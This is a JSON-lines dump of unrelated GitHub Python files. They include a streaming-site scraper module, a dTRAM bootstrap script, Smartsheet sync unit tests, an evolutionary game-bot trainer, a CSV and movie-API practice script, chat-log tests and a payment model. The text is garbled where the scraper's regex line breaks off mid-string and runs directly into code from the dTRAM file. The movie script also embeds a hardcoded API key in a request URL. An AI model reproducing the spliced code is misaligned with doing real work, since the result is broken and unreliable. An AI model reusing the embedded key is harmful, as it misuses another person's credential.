input_folder=input_folder, threshold=args.snr, ncbv=args.ncbv, el=args.el, ip=args.iniplot)\n\n\t# Create DataValidation object:\n\twith LCValidation(input_folders, output_folder=args.output_folder,\n\t\tvalidate=args.validate, method=args.method, colorbysector=args.colorbysector,\n\t\tshowplots=args.show, ext=args.ext, sysnoise=args.sysnoise) as dataval:\n\n\t\t# Run validation\n\t\tdataval.Validations()\n\t\n\n\n\t\t\t\n","repo_name":"tasoc/corrections","sub_path":"notes/GOC_code.py","file_name":"GOC_code.py","file_ext":"py","file_size_in_byte":17969,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"} +{"seq_id":"26509768315","text":"# -*- coding: UTF-8 -*-\n# Needs sources scraped further.\n\nimport re\nfrom six import ensure_text\n\nfrom oathscrapers.modules import client\nfrom oathscrapers.modules import source_utils\nfrom oathscrapers.modules import log_utils\n\n\nclass source:\n def __init__(self):\n self.priority = 1\n self.language = ['en']\n self.domains = ['flenix.plus']\n self.base_link = 'https://flenix.plus'\n self.search_link = '/index.php?do=search&filter=true'\n\n\n def movie(self, imdb, title, localtitle, aliases, year):\n try:\n search_url = self.base_link + self.search_link\n post = ('do=search&subaction=search&search_start=0&full_search=0&result_from=1&story=%s' % (imdb))\n page = ensure_text(client.request(search_url, post=post), errors='replace')\n item = client.parseDOM(page, 'div', attrs={'class': 'post'})[0]\n path = re.compile(' indx_max] = indx_max\n\n return dtraj\n\n def do_task(self, itask):\n if self.args.job_type == 'full':\n nlags = len(self.lags)\n if itask >= nlags: return None\n ilag = itask % nlags\n return [\n self.lags[ilag],\n float(self.args.temperature) * float(self.args.kb) * \n dtram(\n self.ttrajs, self.dtrajs, self.bias, \n self.lags[ilag], init = 'wham', \n init_maxiter = self.maxiter, init_maxerr = self.maxerr,\n maxiter = self.maxiter, maxerr = self.maxerr).f_full_state\n ]\n elif self.args.job_type == 'bootstrap':\n if itask >= len(self.lags) * self.boot_nres: return None\n iresample = itask % self.boot_nres\n ilag = int(itask / self.boot_nres)\n chunksize = self.lags[ilag] * self.boot_chunksize\n # ichunks[ilag][ithermo][iresample] = [ichunk1, ... , ichunk_nchunk]\n ttrajs = []; dtrajs = []\n for ichunks__, tt, dt in \\\n zip(self.ichunks[ilag], self.ttrajs, self.dtrajs):\n for ichunk in ichunks__[iresample]:\n i1 = ichunk * chunksize\n i2 = min((ichunk + 1) * chunksize, len(tt) - 1)\n ttrajs.append(tt[i1:i2]); dtrajs.append(dt[i1:i2])\n# return [\n# self.lags[ilag],\n# float(self.args.temperature) * float(self.args.kb) * \n# dtram(\n# ttrajs, dtrajs, self.bias, \n# self.lags[ilag], init = 'wham', \n# init_maxiter = self.maxiter, init_maxerr = self.maxerr,\n# maxiter = self.maxiter, maxerr = self.maxerr).f_full_state\n# ]\n return [\n self.lags[ilag], iresample,\n dtram(\n ttrajs, dtrajs, self.bias, \n self.lags[ilag], init = 'wham', \n init_maxiter = self.maxiter, init_maxerr = self.maxerr,\n maxiter = self.maxiter, maxerr = self.maxerr)\n ]\n elif re.match('block[0-9]+$', self.args.job_type):\n if itask >= len(self.lags) * self.nblocks: return None\n iblock = itask % self.nblocks\n ilag = int(itask / self.nblocks)\n blocksizes = [int(round(len(_)/self.nblocks)) for _ in self.ttrajs]\n if iblock != self.nblocks - 1:\n ttrajs = \\\n [t[iblock*s:(iblock+1)*s] for t,s in zip(self.ttrajs,blocksizes)]\n dtrajs = \\\n [t[iblock*s:(iblock+1)*s] for t,s in zip(self.dtrajs,blocksizes)]\n else:\n ttrajs = [t[iblock*s:] for t,s in zip(self.ttrajs,blocksizes)]\n dtrajs = [t[iblock*s:] for t,s in zip(self.dtrajs,blocksizes)]\n return [\n self.lags[ilag],\n float(self.args.temperature) * float(self.args.kb) * \n dtram(\n ttrajs, dtrajs, self.bias, \n self.lags[ilag], init = 'wham', \n init_maxiter = self.maxiter, init_maxerr = self.maxerr,\n maxiter = self.maxiter, maxerr = self.maxerr).f_full_state\n ]\n else:\n raise Exception('unknown job type')\n\n def run(self, maxiter = 100000, maxerr = 1e-12):\n self.maxiter = maxiter\n self.maxerr = maxerr\n\n if self.args.job_type == 'full':\n ntasks = len(self.lags)\n elif self.args.job_type == 'bootstrap':\n ntasks = len(self.lags) * self.boot_nres\n # prepare the random samples\n # ichunks[ilag][ithermo][iresample] = [ichunk1, ... , ichunk_nchunk]\n self.ichunks = []\n for lag in self.lags:\n chunksize = self.boot_chunksize * lag\n nchunks = [int(len(t)/chunksize) for t in self.ttrajs]\n ichunks_ = []\n # loop for thermos\n for nchunk in nchunks:\n ichunks__ = \\\n np.random.random_sample([self.boot_nres, nchunk])\n ichunks__ = np.vectorize(int)(ichunks__ * nchunk)\n ichunks_.append(ichunks__)\n self.ichunks.append(ichunks_)\n elif re.match('block[0-9]+$', self.args.job_type):\n self.nblocks = int(self.args.job_type[5:])\n ntasks = len(self.lags) * self.nblocks\n else:\n raise Exception('unknown job type')\n\n with mp.Pool(int(self.args.nprocs)) as p:\n self.f_full_states = p.map(wrap_do_task, range(ntasks))\n\n# if self.args.job_type == 'full':\n# self.f_full_states = {\n# int(lag): \n# dtram( self.ttrajs, self.dtrajs, \n# self.bias, int(lag),\n# init = 'wham',\n# maxiter = self.maxiter, maxerr = self.maxerr\n# ).f_full_state for lag in lags}\n# elif self.args.job_type == 'bootstrap':\n# pass\n# elif re.match('block[0-9]+$', self.args.job_type):\n# self.nblocks = int(self.args.job_type[5:])\n# else:\n# raise Exception('unknown job type')\n\n def save(self):\n prefix = self.args.output\n\n if self.args.job_type == 'full':\n for f in self.f_full_states:\n np.savetxt(\n prefix + \"_lag\" + str(f[0]) + \".dat\",\n np.transpose([self.histo_centers, f[1]])\n )\n elif self.args.job_type == 'bootstrap':\n pass\n elif re.match('block[0-9]+$', self.args.job_type):\n iblock = -1\n for f in self.f_full_states:\n iblock = (iblock + 1) % self.nblocks\n np.savetxt(\n prefix + \"_lag\" + str(f[0]) + \n \"_block\" + str(iblock) + \".dat\",\n np.transpose([self.histo_centers, f[1]])\n )\n else:\n raise Exception('unknown job type')\n\n# ugly solution for using mp.Pool\ndef wrap_do_task(itask):\n return mydtram.do_task(itask)\n\nif __name__==\"__main__\":\n\n parser = MyParser()\n mydtram = MyDtram(parser.args)\n mydtram.run(maxiter=50)\n mydtram.save()\n\n","repo_name":"MoleOrbitalHybridAnalyst/mdtools","sub_path":"dtram_bootstrap.py","file_name":"dtram_bootstrap.py","file_ext":"py","file_size_in_byte":13621,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"13533955991","text":"# import json\nimport logging\n\nimport pytest\nimport smartsheet\nimport sync_module.bidirectional_sync as sync\nimport data_module.helper as helper\nimport app.variables as app_vars\n# from datetime import datetime\n\n# from unittest.mock import patch\n\n# from freezegun import freeze_time\n\n_, cwd = helper.get_local_paths()\nlogger = logging.getLogger(__name__)\n\n\ndef set_init_fixture():\n import app.config as config\n config.init([\"--debug\"])\n global smartsheet_client\n smartsheet_client = config.smartsheet_client\n\n\ndef test_compare_dates_0(cell_history_fixture):\n cell_history = cell_history_fixture\n with pytest.raises(TypeError):\n sync.compare_dates(\"cell_history\", cell_history, \"Cell\")\n with pytest.raises(TypeError):\n sync.compare_dates(cell_history, \"cell_history\", \"Cell\")\n with pytest.raises(TypeError):\n sync.compare_dates(cell_history, cell_history, 1337)\n with pytest.raises(ValueError):\n sync.compare_dates(cell_history, cell_history, \"1337\")\n\n\n# def test_compare_dates_1(cell_history_fixture):\n# index_history = [cell_history_fixture]\n# plan_history = [cell_history_fixture]\n\n# def test_0():\n# index_history[0].modified_at = datetime.now()\n# plan_history[0].modified_at = index_history[0].modified_at.replace(\n# hour=1)\n# result = sync.compare_dates(index_history, plan_history, \"Cell\")\n# return result\n# result_0 = test_0()\n# assert result_0 == \"Index\"\n\n\ndef test_get_index_row_0(index_sheet_fixture):\n jira_index_sheet, _, _, row = index_sheet_fixture\n with pytest.raises(TypeError):\n sync.get_index_row(\"jira_index_sheet\", row.id)\n with pytest.raises(TypeError):\n sync.get_index_row(jira_index_sheet, \"row.id\")\n with pytest.raises(ValueError):\n sync.get_index_row(jira_index_sheet, -1337)\n\n\ndef test_get_index_row_1(index_sheet_fixture):\n jira_index_sheet, _, _, row = index_sheet_fixture\n\n def test_0():\n result = sync.get_index_row(jira_index_sheet, row.id)\n return result\n result_0 = test_0()\n assert result_0.id == row.id\n assert result_0.modified_at == row.modified_at\n\n def test_1():\n result = sync.get_index_row(jira_index_sheet, 1337)\n return result\n result_1 = test_1()\n assert result_1 is None\n\n\ndef test_rebuild_cell_0(sheet_fixture, cell_fixture):\n _, col_map, _, _ = sheet_fixture\n column_id = col_map[app_vars.jira_col]\n cell, _, _, _, _, _ = cell_fixture\n with pytest.raises(TypeError):\n sync.rebuild_cell(\"cell\", column_id)\n with pytest.raises(TypeError):\n sync.rebuild_cell(cell, \"column_id\")\n with pytest.raises(ValueError):\n sync.rebuild_cell(cell, -1337)\n\n\ndef test_rebuild_cell_1():\n pass\n\n\ndef test_build_row_0(index_sheet_fixture, sheet_fixture, row_fixture):\n jira_index_sheet, jira_index_col_map, _, index_row = index_sheet_fixture\n plan_sheet, plan_col_map, _, _ = sheet_fixture\n _, plan_row = row_fixture\n columns_to_compare = [app_vars.jira_col, app_vars.jira_status_col,\n app_vars.assignee_col, app_vars.task_col]\n with pytest.raises(TypeError):\n sync.build_row(\"jira_index_sheet\", jira_index_col_map, index_row,\n plan_sheet, plan_col_map, plan_row, columns_to_compare)\n with pytest.raises(TypeError):\n sync.build_row(jira_index_sheet, \"jira_index_col_map\", index_row,\n plan_sheet, plan_col_map, plan_row, columns_to_compare)\n with pytest.raises(TypeError):\n sync.build_row(jira_index_sheet, jira_index_col_map, \"index_row\",\n plan_sheet, plan_col_map, plan_row, columns_to_compare)\n with pytest.raises(TypeError):\n sync.build_row(jira_index_sheet, jira_index_col_map, index_row,\n \"plan_sheet\", plan_col_map, plan_row,\n columns_to_compare)\n with pytest.raises(TypeError):\n sync.build_row(jira_index_sheet, jira_index_col_map, index_row,\n plan_sheet, \"plan_col_map\", plan_row,\n columns_to_compare)\n with pytest.raises(TypeError):\n sync.build_row(jira_index_sheet, jira_index_col_map, index_row,\n plan_sheet, plan_col_map, \"plan_row\",\n columns_to_compare)\n with pytest.raises(TypeError):\n sync.build_row(jira_index_sheet, jira_index_col_map, index_row,\n plan_sheet, plan_col_map, plan_row,\n \"columns_to_compare\")\n with pytest.raises(ValueError):\n sync.build_row(jira_index_sheet, jira_index_col_map, index_row,\n plan_sheet, plan_col_map, plan_row, [])\n\n\ndef test_build_row_1():\n pass\n\n\ndef test_drop_dupes_0():\n with pytest.raises(TypeError):\n sync.drop_dupes(1337)\n with pytest.raises(ValueError):\n sync.drop_dupes([])\n\n\ndef test_drop_dupes_1(row_fixture):\n single_row = smartsheet.models.Row()\n single_row.id = 1337\n _, unlinked_row = row_fixture\n row_list = [unlinked_row, unlinked_row, unlinked_row, single_row]\n unique = sync.drop_dupes(row_list)\n assert unique[0].id == unlinked_row.id\n assert unique[1].id == unlinked_row.id\n\n\ndef test_bidirectional_sync_0():\n with pytest.raises(TypeError):\n sync.bidirectional_sync(\"config.minutes\")\n with pytest.raises(ValueError):\n sync.bidirectional_sync(-1337)\n","repo_name":"herooftimeandspace/smartsheet-data-sync","sub_path":"test_unit/test_bidirectional_sync.py","file_name":"test_bidirectional_sync.py","file_ext":"py","file_size_in_byte":5433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29278792364","text":"from simulation import *\nfrom test_set_up import *\nfrom shutil import copyfile\nfrom print_tree import *\nimport random\n\nclass OldTrainer:\n \"\"\"\n High level overview:\n\n - Initializes a set of evolutionary bots\n\n - for each generation\n - Evenly divides robot games up into the number of simulations we want\n - simulates the each game and keeps track of the results\n - A certain number of bots based on the selection threshold persist to the next generation,\n the rest are overwritten via mutation or cross over according to the mutation_percent\n - The candidates for mutation/cross over are taken randomly from set of bots that performed better\n than the mutation/crossover_threshold, respectively\n - Mutation behaves according to the operator_probability, max_children, and constants_only parameters\n\n Multiple class to trainer.simulate() can be made in a row in order to change parameters after a fixed number of generations\n\n\n \"\"\"\n\n def __init__(self, bot_count, bot_prefix='bot', print_rate=0):\n \"\"\"\n Initializes all bot files\n\n bot_count: The number of robots to create (population size)\n mutation_percent: percentage as a number out of 100 of new bots generated via mutation (the rest are generated via crossover)\n bot_prefix: name to use to start the bot files\n \"\"\"\n self.bot_prefix = bot_prefix\n self.bot_count = bot_count\n self.results = []\n self.gen_count = 0\n self.print_rate = print_rate\n self.bot_names = [self.bot_prefix + '_' + str(i) for i in range(1, self.bot_count + 1)]\n\n self.config_count = 0\n self.mutation_percent = []\n self.fast_count = []\n self.games_per_bot = []\n self.total_generations = []\n\n self.operator_probability = []\n self.max_children = []\n self.constants_only = []\n self.selection_percent = []\n self.mutation_threshold = []\n self.crossover_threshold = []\n self.node_penalty = []\n self.win_bonus = []\n\n for bot in self.bot_names:\n initialize_new_bot(bot)\n\n def results_to_file(self, file_name, depth=-1):\n res_file = open(file_name + '.txt', 'w')\n\n for i in range(self.config_count):\n res_file.write(\"Old Trainer\\nMutation Percent: {m}, Bot Count: {n}, Games per bot: {g}, generation count: {t}, fast count: {f}, Max depth: {d}, Operator Probability: {o}, Max Children: {mc}, Constants Only: {co}, Selection Percent: {sp}, Mutation Threshold {mt}, Crossover Threshold: {ct}, Node Penalty: {np}, Win Bonus: {wb}\\n\".format(\n m=self.mutation_percent[i], n=self.bot_count, g=self.games_per_bot[i], f=self.fast_count[i], t=self.total_generations[i], d=depth, o=self.operator_probability[i], mc=self.max_children[i], co=self.constants_only[i], sp=self.selection_percent[i], mt=self.mutation_threshold[i], ct=self.crossover_threshold[i], np=self.node_penalty[i], wb=self.win_bonus[i]))\n res_file.write(str(self.results[i]))\n res_file.write('\\n\\n')\n res_file.close()\n\n\n\n def train(self, mutation_percent, generations, games_per_bot, fast_count, bots_per_sim,\n operator_probability, max_children, constants_only, selection_percent, mutation_threshold,\n crossover_threshold, node_penalty, win_bonus, last_gen=False, delete_files=True):\n \"\"\"\n mutation_percent: percentage of new bots generated via mutation (the rest are generated via crossover) (0-1)\n generations: number of generations to train for\n games_per_bot: number of games each bot plays each generation\n fast_count: number of fast bots in each simulation (smart bots will be 3 - fast bots)\n bots_per_sim: Number of bots to include in each simulation, default is all bots in one simulation\n operator_probability: probability of making an operator on a mutation (string number from 0 - 100)\n max_children: the maximum number of children the node we are mutating is allowed to have (-1 for any number of children)\n constants_only: boolean, only mutate constant values in the tree\n selection_percent: percentage of total to advanced to the next generation (0-1)\n mutation_threshold: percentage of total bots that get to be candidates for mutation (0-1)\n mutation_threshold: percentage of total bots that get to be candidates for crossover (0-1)\n \"\"\"\n self.config_count += 1\n\n self.total_generations.append(generations)\n self.mutation_percent.append(mutation_percent)\n self.games_per_bot.append(games_per_bot)\n self.fast_count.append(fast_count)\n self.operator_probability.append(operator_probability)\n self.max_children.append(max_children)\n self.constants_only.append(constants_only)\n self.selection_percent.append(selection_percent)\n self.mutation_threshold.append(mutation_threshold)\n self.crossover_threshold.append(crossover_threshold)\n self.node_penalty.append(node_penalty)\n self.win_bonus.append(win_bonus)\n\n self.results.append({})\n cur_scores = self.results[-1]\n\n\n for gen in range(generations):\n print('starting generation:', gen)\n self.gen_count += 1\n\n # check to see if we are doing default number of games per simulation\n if bots_per_sim == 0:\n bots_per_sim = self.bot_count\n\n # set up list of simulations\n simulations = []\n simulation_count = self.bot_count // bots_per_sim\n for i in range(simulation_count):\n sim_name = self.bot_prefix + \"_generation_\" + str(self.gen_count) + '_' + str(i + 1)\n simulations.append(\n Simulation(sim_name, self.bot_names[i * bots_per_sim: i * bots_per_sim + bots_per_sim],\n games_per_bot, fast_count, delete_files=delete_files, time_out='200s', retry_count=10,\n node_penalty=node_penalty, win_bonus_score=win_bonus))\n\n if self.bot_count % bots_per_sim != 0:\n bots_left_over = self.bot_count - (simulation_count * bots_per_sim)\n final_sim_name = self.bot_prefix + \"_generation_\" + str(self.gen_count) + '_' + str(\n simulation_count + 1)\n simulations.append(\n Simulation(final_sim_name, self.bot_names[-bots_left_over:], games_per_bot, fast_count,\n delete_files=delete_files, time_out='200s', retry_count=10, node_penalty=node_penalty,\n win_bonus_score=win_bonus))\n\n # run simulations, update results\n cur_scores[self.gen_count] = {}\n x = 0\n for simulation in simulations:\n print('on simulation:', x, 'gen:', gen)\n x += 1\n simulation.simulate()\n res = simulation.get_evo_results()\n\n for key in res:\n cur_scores[self.gen_count][key] = res[key]\n\n # Don't want to mutate on final generation\n if gen == generations - 1 and last_gen:\n return\n\n if self.print_rate > 0 and (self.gen_count == 1 or self.gen_count % self.print_rate == 0):\n self._print_all_bots()\n\n # calculate the number of bots selected for next gen, selected for crossover, and selected for mutation\n selected_count = min(round(self.bot_count * selection_percent), self.bot_count - 2)\n selected_for_mutation_count = max(round(self.bot_count * mutation_threshold), 1)\n selected_for_crossover_count = max(round(self.bot_count * crossover_threshold), 2)\n\n\n # Selects bots to move on and bots to be overwritten\n gen_results = [(k, cur_scores[self.gen_count][k]) for k in cur_scores[self.gen_count]]\n gen_results.sort(key=lambda st: st[1], reverse=True)\n bad_bots = gen_results[selected_count:]\n mutation_candidates = gen_results[:selected_for_mutation_count]\n crossover_candidates = gen_results[:selected_for_crossover_count]\n\n # calculate number of bots to mutate/cross over. cross over count must be even\n mutate_count = round(mutation_percent * len(bad_bots))\n cross_over_count = len(bad_bots) - mutate_count\n if cross_over_count % 2 != 0:\n if mutate_count == 0:\n cross_over_count -= 1\n mutate_count += 1\n else:\n cross_over_count += 1\n mutate_count -= 1\n\n # Create a copy of mutation candidates\n mutation_file_names = []\n for bot in mutation_candidates:\n bot_name = bot[0]\n new_bot_name = bot_name + \"_mutation\"\n copyfile(bot_name + '.txt', new_bot_name + '.txt')\n mutation_file_names.append(new_bot_name)\n\n # mutate bots\n for i in range(mutate_count):\n bot_to_mutate = random.choice(mutation_file_names)\n bot_to_replace = bad_bots.pop()[0]\n mutate_bot(bot_to_mutate, bot_to_replace, operator_probability, max_children, constants_only)\n\n # Clean up copied files\n for mutation_file in mutation_file_names:\n os.remove(mutation_file + '.txt')\n\n # Create a copy of crossover candidates\n crossover_file_names = []\n for bot in crossover_candidates:\n bot_name = bot[0]\n new_bot_name = bot_name + \"_crossover\"\n copyfile(bot_name + '.txt', new_bot_name + '.txt')\n crossover_file_names.append(new_bot_name)\n\n # Cross over bots\n for i in range(cross_over_count // 2):\n bot1_to_cross_over = random.choice(crossover_file_names)\n bot2_to_cross_over = bot1_to_cross_over\n while bot1_to_cross_over == bot2_to_cross_over :\n bot2_to_cross_over = random.choice(crossover_file_names)\n bot1_to_replace = bad_bots.pop()[0]\n bot2_to_replace = bad_bots.pop()[0]\n cross_over(bot1_to_cross_over, bot2_to_cross_over, bot1_to_replace, bot2_to_replace)\n\n # Clean up copied files\n for crossover_file in crossover_file_names:\n os.remove(crossover_file + '.txt')\n\n def _print_all_bots(self):\n for bot in self.bot_names:\n print_tree('na', bot + '.txt', self.gen_count)\n\n\nif __name__ == \"__main__\":\n\n t = OldTrainer(4, 'new_tree_structure_test')\n t.train(mutation_percent=1, generations=2, games_per_bot=2, fast_count=3, bots_per_sim=4, operator_probability='50',\n max_children='-1', constants_only='false', selection_percent=.2, mutation_threshold=.2, crossover_threshold=.25,\n node_penalty=0.015, win_bonus=0)\n\n\n t.results_to_file(t.bot_prefix + '_training_results', 7)\n\n\n","repo_name":"fitchand000/Carleton-College-Game-Playing-AI-Comps-Project","sub_path":"python/old_trainer_stuff/old_trainer.py","file_name":"old_trainer.py","file_ext":"py","file_size_in_byte":11137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33347234379","text":"lunch = {\n '용성돌솥비빔밥':'054-474-7119',\n '별난짬뽕':'054-473-3040',\n '매콤돈가스':'054-472-2030'\n}\n\n# 1. string formatting\nwith open('lunch.csv','w') as f:\n for item in lunch.items():\n print(f.write(f'{item[0]},{item[1]}\\r\\n'))\n \n\n# 2. join\nwith open('lunch.csv','w') as f:\n for item in lunch.items():\n print(f.write(','.join(item)+'\\r\\n'))\n\n# 3. csv.writer\nimport csv\nwith open('lunch.csv','w') as f:\n csv_writer = csv.writer(f)\n for item in lunch.items():\n csv_writer.writerow(item)\n\n\n# 4. csv.DictWriter\nimport csv\nwith open('names.csv', 'w', newline='') as f:\n fieldnames = ('first_name', 'last_name')\n writer = csv.DictWriter(f, fieldnames=fieldnames)\n\n writer.writeheader()\n writer.writerow({'first_name': 'Baked', 'last_name': 'Beans'})\n writer.writerow({'first_name': 'Lovely', 'last_name': 'Spam'})\n writer.writerow({'first_name': 'Wonderful', 'last_name': 'Spam'})\n# --------------------------------------------------------------------------------------------\n# --------------------------------------------------------------------------------------------\n# --------------------------------------------------------------------------------------------\n# --------------------------------------------------------------------------------------------\n# --------------------------------------------------------------------------------------------\n\nimport csv\nimport requests\nimport json\nimport os\nimport datetime\nfrom datetime import timedelta\nfrom bs4 import BeautifulSoup\n\ndays = datetime.datetime(2019, 1, 20)\nago = timedelta(days=-7)\nwith open('names.csv', 'w', newline='', encoding='utf-8') as f:\n fieldnames = ('movie_code', 'title', 'audience', 'recorded_at')\n writer = csv.DictWriter(f, fieldnames=fieldnames)\n writer.writeheader()\n for k in range(10):\n days = days + ago\n days_ago = days\n days_ago = days_ago.strftime('%Y%m%d')\n for i in range(10):\n url = f\"http://www.kobis.or.kr/kobisopenapi/webservice/rest/boxoffice/searchWeeklyBoxOfficeList.json?key=430156241533f1d058c603178cc3ca0e&targetDt={days_ago}&weekGb=0\"\n res = requests.get(url)\n movie_list = res.json()\n movie_lists = movie_list[\"boxOfficeResult\"][\"weeklyBoxOfficeList\"]\n writer.writerow({'movie_code' : movie_lists[i][\"movieCd\"], 'title' : movie_lists[i][\"movieNm\"], 'audience' : movie_lists[i][\"audiAcc\"],'recorded_at' : days_ago})\n print(f'실행중{i}')\n \nwith open('names.csv', newline='', encoding='utf-8') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n print(row['movie_code'], row['title'], row['audience'], row['recorded_at'])\n\n\n\n\n\n\n\n\n\n ","repo_name":"websvey1/TIL","sub_path":"project_1/project_01/me/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26299988666","text":"from unittest import TestCase\nfrom unittest.mock import Mock, patch, MagicMock\nfrom pychats.chats.conversations import Conversation\nfrom pychats.chats.chatlogs import ChatLog, from_json\n\nclass ChatlogTest(TestCase):\n\n def setUp(self):\n self.conversation1 = Mock(Conversation)\n self.conversation2 = Mock(Conversation)\n self.conversation3 = Mock(Conversation)\n\n\n\nclass ChatlogCreationTests(ChatlogTest):\n\n def test_can_create_chatlog(self):\n chatlog = ChatLog(\"Facebook\")\n self.assertEqual(chatlog._name, \"Facebook\")\n self.assertEqual(chatlog._conversations, set())\n\n\n def test_chatlog_name_must_be_str(self):\n with self.assertRaises(TypeError):\n ChatLog(1000)\n\n\n\nclass ChatlogFromJsonTests(ChatlogTest):\n\n @patch(\"pychats.chats.chatlogs.Conversation.from_json\")\n def test_can_create_conversation_from_json(self, mock_conversation):\n conv1, conv2, conv3 = Mock(), Mock(), Mock()\n mock_conversation.side_effect = [conv1, conv2, conv3]\n json = {\n \"name\": \"Log Name\",\n \"conversations\": [\"conv1\", \"conv2\", \"conv3\"]\n }\n log = ChatLog.from_json(json)\n mock_conversation.assert_any_call(\"conv1\")\n mock_conversation.assert_any_call(\"conv2\")\n mock_conversation.assert_any_call(\"conv3\")\n self.assertIsInstance(log, ChatLog)\n self.assertEqual(log._name, \"Log Name\")\n self.assertEqual(log._conversations, [conv1, conv2, conv3])\n\n\n def test_json_to_chatlog_requires_dict(self):\n with self.assertRaises(TypeError):\n ChatLog.from_json(\"some string\")\n\n\n def test_json_to_chatlog_requires_name_key(self):\n with self.assertRaises(ValueError):\n ChatLog.from_json({\"wrong\": \"name\"})\n\n\n def test_json_to_chatlog_requires_conversations_key(self):\n with self.assertRaises(ValueError):\n ChatLog.from_json({\"wrong\": []})\n\n\n\nclass ChatlogReprTests(ChatlogTest):\n\n def test_chatlog_repr_no_conversations(self):\n chatlog = ChatLog(\"Facebook\")\n self.assertEqual(str(chatlog), \"<'Facebook' ChatLog (0 Conversations)>\")\n\n\n def test_chatlog_repr_one_conversation(self):\n chatlog = ChatLog(\"Facebook\")\n chatlog._conversations.add(Mock(Conversation))\n self.assertEqual(str(chatlog), \"<'Facebook' ChatLog (1 Conversation)>\")\n\n\n def test_chatlog_repr_multiple_conversation(self):\n chatlog = ChatLog(\"Facebook\")\n chatlog._conversations.add(Mock(Conversation))\n chatlog._conversations.add(Mock(Conversation))\n self.assertEqual(str(chatlog), \"<'Facebook' ChatLog (2 Conversations)>\")\n chatlog._conversations.add(Mock(Conversation))\n self.assertEqual(str(chatlog), \"<'Facebook' ChatLog (3 Conversations)>\")\n\n\n\nclass ChatlogNameTests(ChatlogTest):\n\n def test_chatlog_name(self):\n chatlog = ChatLog(\"Facebook\")\n self.assertIs(chatlog._name, chatlog.name())\n\n\n def test_can_update_chatlog_name(self):\n chatlog = ChatLog(\"Facebook\")\n chatlog.name(\"WhatsApp\")\n self.assertEqual(chatlog._name, \"WhatsApp\")\n\n\n def test_chatlog_name_must_be_set_to_str(self):\n chatlog = ChatLog(\"Facebook\")\n with self.assertRaises(TypeError):\n chatlog.name(100)\n\n\n\nclass ChatLogConversationsTests(ChatlogTest):\n\n def test_chatlog_conversations(self):\n chatlog = ChatLog(\"Facebook\")\n self.assertEqual(chatlog._conversations, chatlog.conversations())\n self.assertIsNot(chatlog._conversations, chatlog.conversations())\n\n\n\nclass ChatlogConversationAdditionTests(ChatlogTest):\n\n def test_can_add_conversation(self):\n chatlog = ChatLog(\"Facebook\")\n chatlog.add_conversation(self.conversation1)\n self.assertEqual(chatlog._conversations, set([self.conversation1]))\n chatlog.add_conversation(self.conversation2)\n self.assertEqual(\n chatlog._conversations,\n set([self.conversation1, self.conversation2])\n )\n chatlog.add_conversation(self.conversation3)\n self.assertEqual(\n chatlog._conversations,\n set([self.conversation1, self.conversation2, self.conversation3])\n )\n\n\n def test_can_only_add_conversation(self):\n chatlog = ChatLog(\"Facebook\")\n with self.assertRaises(TypeError):\n chatlog.add_conversation(\"Conv\")\n\n\n def test_cannot_add_existing_conversation(self):\n chatlog = ChatLog(\"Facebook\")\n chatlog.add_conversation(self.conversation1)\n with self.assertRaises(ValueError):\n chatlog.add_conversation(self.conversation1)\n\n\n def test_adding_conversation_updates_its_chatlog(self):\n chatlog = ChatLog(\"Facebook\")\n chatlog.add_conversation(self.conversation1)\n self.assertEqual(self.conversation1._chatlog, chatlog)\n\n\n\nclass ChatlogConversationRemovalTests(ChatlogTest):\n\n def test_can_remove_conversations(self):\n chatlog = ChatLog(\"Facebook\")\n chatlog.add_conversation(self.conversation1)\n chatlog.add_conversation(self.conversation2)\n self.assertEqual(\n chatlog._conversations,\n set([self.conversation1, self.conversation2])\n )\n chatlog.remove_conversation(self.conversation1)\n self.assertEqual(chatlog._conversations, set([self.conversation2]))\n\n\n\nclass ChatLogToJsonTests(ChatlogTest):\n\n def test_can_get_json_from_chatlog(self):\n self.conversation1.to_json.return_value = {\"aa\": \"bb\"}\n self.conversation2.to_json.return_value = {\"cc\": \"dd\"}\n self.conversation1.length.return_value = 100\n self.conversation2.length.return_value = 101\n log = ChatLog(\"test log\")\n log._conversations = set([self.conversation1, self.conversation2])\n self.assertEqual(log.to_json(), {\n \"name\": \"test log\", \"conversations\": [{\"cc\": \"dd\"}, {\"aa\": \"bb\"}]\n })\n\n\n\nclass JsonFileLoadingTests(ChatlogTest):\n\n @patch(\"pychats.chats.chatlogs.ChatLog.from_json\")\n @patch(\"json.load\")\n @patch(\"builtins.open\")\n def test_loading_from_json_file(self, mock_open, mock_load, mock_json):\n open_return = MagicMock()\n mock_file = Mock()\n open_return.__enter__.return_value = mock_file\n mock_file.read.return_value = '{\"a\": \"b\"}'\n mock_open.return_value = open_return\n mock_load.return_value = {\"a\": \"b\"}\n mock_json.return_value = \"log object\"\n log = from_json(\"path/to/file\")\n mock_open.assert_called_with(\"path/to/file\")\n mock_load.assert_called_with(mock_file)\n mock_json.assert_called_with({\"a\": \"b\"})\n self.assertEqual(log, \"log object\")\n\n\n\nclass JsonFileSavingTests(ChatlogTest):\n\n @patch(\"pychats.chats.chatlogs.ChatLog.to_json\")\n @patch(\"json.dump\")\n @patch(\"builtins.open\")\n def test_loading_from_json_file(self, mock_open, mock_dump, mock_json):\n open_return = MagicMock()\n mock_file = Mock()\n mock_write = MagicMock()\n mock_file.write = mock_write\n open_return.__enter__.return_value = mock_file\n mock_open.return_value = open_return\n log = ChatLog(\"Test\")\n mock_json.return_value = {\"a\": [{}]}\n log.save(\"path/to/file\")\n mock_open.assert_called_once_with(\"path/to/file\", \"w\")\n mock_dump.assert_called_with({\"a\": [{}]}, mock_file)\n","repo_name":"samirelanduk/pychats","sub_path":"tests/conversation_tests/test_chatlogs.py","file_name":"test_chatlogs.py","file_ext":"py","file_size_in_byte":7346,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"6906651476","text":"from django.db import models\nimport yookassa\nfrom yookassa import Configuration, Payment\nfrom yookassa.domain.common import Version\n\nfrom cakes import settings\n\n\nclass OrderPayment(models.Model):\n\n payment_id = models.CharField('ID заказа', 